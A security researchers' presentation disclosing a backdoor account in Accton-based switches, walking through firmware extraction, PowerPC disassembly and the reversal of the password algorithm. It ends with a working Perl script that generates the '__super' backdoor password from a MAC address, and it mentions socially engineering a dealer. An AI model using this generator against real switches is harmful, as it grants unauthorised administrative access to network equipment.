Disclosure of a backdoor in Accton based switches (3com and others)

How to reverse engineer backdoor algoritms hidden in firmware.

By Edwin Eefting, Erik Smit, Erwin Drent

Reverse engineering backdoors

- Step 1: How we aquired the target
- Step 2: Getting the 'source'
- Step 3: Orientation
- Step 4: Finding the algorithm
- Step 5: Implementing a proof of concept
- Step 6: Reversing the algorithm
- Results and conclusion

Step 1: How we aquired the target

- Erik just wanted to run Linux on his switch: 3com 3870 and ES4549.
- He found a '__super' string
- Called a dealer and used some social engineering...

Step 1: How we aquired the target

- The dealer only needed the mac adress to generate a backdoor-password.
- So: the firmware probably has the password algorithm!
- We never reverse engineerd switch-firmware before, so lets just try it...

Step 2: Getting the 'source'

- Download the original firmware: BLANC_Multiple_V3.1.1.56.zip
- Inspect the BLANC_Multiple_V3.1.1.56.BIX file using brute force:

```
psy@psy ~/hack $ for i in `seq 1 65536`; do dd
if=BLANC_Multiple_V3.1.1.56.BIX of=bla bs=$i
skip=1 2>/dev/null; ( echo -n $i:; file bla) |
grep -v ': data'  ; done

6:bla: binary Computer Graphics Metafile
....
69:bla: unicos (cray) executable
74:bla: VAX-order2 68k Blit mpx/mux executable
75:bla: VAX-order 68K Blit (standalone)
executable
80:bla: gzip compressed data, was "blanc.bin",
from FAT filesystem (MS-DOS, OS/2, NT), last
modified: Thu May 12 00:04:48 2005
```

- Actual firmware is gzipped at offset 80?

Step 3: Orientation

- Fiddle around with Interactive Disassembler (IDA pro):
  RAM,
  load offset 0x10000 (got it from the VxWorks docs),
  64MB memory (0x4000000) (got it from the device datasheet),
  PPC architecture.
  Force everything from 0x10000 to 0xa00000 to 'code'
- movie load2.avi

Step 3: Orientation

- Learn PPC assembly with Google ;)

- Huh?? PPC has no build-in stack handling? (like x86)
- A subroutine has to...
-     ..create its own stackframe
-     ..store all registers that its gonna change on that stack
-     ..store the return address of the caller on that stack
-     ..do its stuff
-     ..restore everything

- Hmm...PPC has more registers:

%r1 used as dedicated stack pointer (shown in %sp in disassembler)
%r3 used as first subroutine paramters AND for return values.
%r0..%r31 are used for all kinds of stuff.

Step 3: Orientation

- An very small function from the actual firmware:

```
# =============== S U B R O U T I N E =======================================
sub_27BD8:                                     # CODE XREF: sub_1464C+3Cp
                                               # RAM:000186E8p ...
.set var_C, -0xC
.set var_8, -8
.set var_4, -4
.set arg_4,  4
                stwu    %sp, -0x18(%sp)        # setup stack frame of 18 bytes
                mflr    %r0                    # r0 = return address (link reg.)
                stw     %r29, 0x18+var_C(%sp)# safe stuff...
                stw     %r30, 0x18+var_8(%sp)
                stw     %r31, 0x18+var_4(%sp)
                stw     %r0, 0x18+arg_4(%sp)
                mr      %r29, %r3
                mr      %r0, %r4               # r0=r4
                mr      %r4, %r5               # r4=r5
                mr      %r5, %r0               # r5=r0 (e.g. swap r4 and r5)
                bl      sub_56280              # call a subroutine
                mr      %r3, %r29              # restore stuff..
                lwz     %r0, 0x18+arg_4(%sp) #
                mtlr    %r0                    # restore return return adress
                lwz     %r29, 0x18+var_C(%sp)#
                lwz     %r30, 0x18+var_8(%sp)
                lwz     %r31, 0x18+var_4(%sp)
                addi    %sp, %sp, 0x18         # delete stackframe
                blr                            # return
# End of function sub_27BD8
```

Step 4: Finding the algorithm

What are we looking for?

- The username is __super.
- The password is 8 characters and can contain '!'
- The password is calculated by the firmware
- The password is based on the 6 byte long mac address

Step 4: Finding the algorithm

SYN-3

- Find the function(s) that use the __super string: search1.avi
- Look around and figure out obvious function calls: prints1.avi and prints2.avi
- Use the graphview to get a better view of the local code path: graph1.avi
- We see there is one very interesting function on the code path: boringandcalc1.avi
- After some more hours (inspectcaller1.avi).....time for more coffee...

Step 4: Finding the algorithm

Attempt 2:

- Stay up all night, drinking coffee, and keep searching

- There is a second __super string! searchb1.avi

- Inspect the crossreferences to all the calls. inspectcallsb.avi

- The first call looks most promising, lets look at it. passgen.avi

- It does a lot of calculations, and only calls one subroutine..i wonder that does..getdeviceinfo.avi.

- Analysing the exact behaviour of passgen. passgenanalyse.avi (remember: 8 bytes password, 6 byte mac, can contain '!' chars)

Step 5: Implementing proof of concept

Erik first translated the disassembly verbatim into perl:

```
macadress is in 0x10(%r31) ... 0x15(%r31)
                                                    # for ($counter=0;$counter<5;$counter++) {
RAM:004DFE38 loopbody1:                             #
RAM:004DFE38                lbz     %r9, 0x18(%r31) # load counter in r9
RAM:004DFE3C loc_4DFE3C:                            #
RAM:004DFE3C                clrlwi  %r0, %r9, 24    # counter in r0
RAM:004DFE40                addi    %r11, %r31, 8   # r11=stack+8
RAM:004DFE44                add     %r9, %r11, %r0  # r9=stack+8+counter
RAM:004DFE48                lbz     %r11, 8(%r9)    # r11 = mem[stack+8+counter+8]
RAM:004DFE4C                clrlwi  %r0, %r11, 24   # so r0 is current mac-byte:
RAM:004DFE4C                                        # $char = unpack("C", $mac[$counter]);
RAM:004DFE50                lbz     %r11, 0x18(%r31)#
RAM:004DFE54                clrlwi  %r9, %r11, 24   # r9=counter
RAM:004DFE58                addi    %r11, %r31, 8   # r11=stack+8
RAM:004DFE5C                add     %r9, %r11, %r9  # r9=stack+8+counter
RAM:004DFE60                lbz     %r11, 9(%r9)    # r11=mem[stack+8+counter+9]
RAM:004DFE64                clrlwi  %r9, %r11, 24   # so r9 is next mac-byte..
RAM:004DFE68                add     %r0, %r0, %r9   # ..and both mac-bytes are added:
                                                    # $char = $char + unpack("C", $mac[$counter+1]);
RAM:004DFE6C                lis     %r11, 0x1B4E # 0x1B4E81B5
RAM:004DFE70                ori     %r11, %r11, -0x7E4B # 0x1B4E81B5 ...hmm some kind of key:
                                                    # $key = 0x1B4E81B5;
RAM:004DFE74                mulhw   %r9, %r0, %r11
RAM:004DFE78                srawi   %r11, %r9, 3    # $r11 = ($char * $key) >> 0x23; (srawi is weird
RAM:004DFE7C                srawi   %r10, %r0, 0x1F # $r10 = $char >> 0x1F;
RAM:004DFE80                subf    %r9, %r10, %r11 # $r9 = $r11 - $r10; (subf=reversed!)
RAM:004DFE84                mr      %r10, %r9
RAM:004DFE88                slwi    %r11, %r10, 2   # $r11 = $r9 << 2;
RAM:004DFE8C                add     %r11, %r11, %r9 # $r11 = $r11 + $r9;
RAM:004DFE90                slwi    %r9, %r11, 4    # $9 = $11 << 4;
RAM:004DFE94                subf    %r9, %r11, %r9  # $r9 = $r9 - $r11;
RAM:004DFE98                subf    %r0, %r9, %r0   # $char = $char - $r9;
RAM:004DFE9C                stw     %r0, 0x1C(%r31) # addchar($char);
RAM:004DFEA0                lwz     %r0, 0x1C(%r31)
RAM:004DFEA4                cmplwi  cr1, %r0, 9
```

SYN-3

Step 6: Reversing the algorithm

The password generator worked! (even on another switch)

First we substitute the ***magic*** routine...

```
$key = 0x1B4E81B5;
$r11 = ($char * $key) >> 0x23;     # same as: /34359738368
$r10 = $char >> 0x1F;              # same as: /2147483648
$r9 = $r11 - $r10;
$r11 = $r9 << 2;                   # same as: * 4
$r11 = $r11 + $r9;
$r9 = $r11 << 4;                   # same as: * 16
$r9 = $r9 - $r11;
$char = $char - $r9;
```

...so we get a nice ***mathematical*** calculation:

```
$char = $char  - ( (( ( (($char * $key) /
34359738368)  - ($char / 2147483648)) * 4 ) +
((($char * $key) / 34359738368)  - ($char /
2147483648) ) ) * 15) ;
```

Step 6: Reversing the algorithm

Clean it up a bit:

```
$char = $char  - (
  (
     ( (
      4*( ($char * $key) / 34359738368)  - 4*($char / 2147483648)
     ) )
     +
     (
      (($char * $key) / 34359738368)  - ($char / 2147483648)
     )
  ) * 15
  ) ;
```

Step 6: Reversing the algorithm

We know that $char<=510, so some terms are always 0...

```
$char = $char  - (
(
        ( (
                (4* ( $char * $key / 34359738368)  )
        ) )
        +
        (
                (($char * $key) / 34359738368)
        )
) * 15
```

```
$char = $char  - (75* ( $char * $key / 34359738368)   )  ;
```

A division is a shift:

```
$char = $char  - (75* ( $char * $key >> 35)   )  ;
```

Step 6: Reversing the algorithm

Lets just print out all the inputs to see whats going on:

```
for ($char=0;$char<=0x1FE;$char++) {
      $output = $char - (75 * (($char * 0x1B4E81B5 ) >> 35)    )  ;
     print "$char = $output\n"
}
```

This just shows us 0...74 over and over again!

So the "magic part" is just:

```
$char = $char % 75 ;
```

This has probably to do with PPC not having a modulo function. :)

The final result:

```
#!/usr/bin/perl -w
use strict;

my $mac = $ARGV[0];
my @mac;

# put mac address bytes into @mac array
foreach my $octet (split (":", $mac)) {
  push @mac, hex($octet);
}

# the first 5 password characters
for ($counter=0;$counter<5;$counter++) {
    $char = $mac[$counter];
    $char = $char + $mac[$counter+1];
    printchar($char);
}

# the second 3 password characters
for ($counter=0;$counter<3;$counter++) {
    $char = $mac[$counter];
    $char = $char + $mac[$counter+1];
    # just add 0xF so its not TOO obvious ;)
    $char = $char +  0xF;
    printchar($char);
}
```

The final result:

```
sub printchar {
    my ($char) = @_;

    # the 'magic' part:
    $char = $char % 75;

    # some boring if's to make the resulting character human-readable..
    if ($char <= 9 || ($char > 0x10 && $char < 0x2a) || $char > 0x30) {
        print pack("c*", $char+0x30);
    } else {
        print "!";
    }
}
```

Demonstration:

```
psy@psy ~ $ ./accton2.pl 11:22:33:44:55:66
MfBq!!uQ
```

Conslusions

This is probably what happend:

- The fixed __super password leaked to the internet...
- Boss complains...its friday afternoon...engineer yawns...
- ”lets just calculate the pass from the mac and go home”

- The … with ARM architecture is probably the same. (except for endiannes)

- It still doesnt run Linux, for now ;)

- We tried contacting 3com and accton, to no avail.

More information

- Eriks research: http://stuff.zoiah.net/doku.php?id=accton:start
- This presentation: tba

- Edwins and erwins company: http://www.syn-3.eu

- Eriks company: http://www.zylon.net/

edwin@datux.nl

erik@zylon.net

Powerpc reference:
http://pds.twi.tudelft.nl/vakken/in1200/labcourse/instruction-set/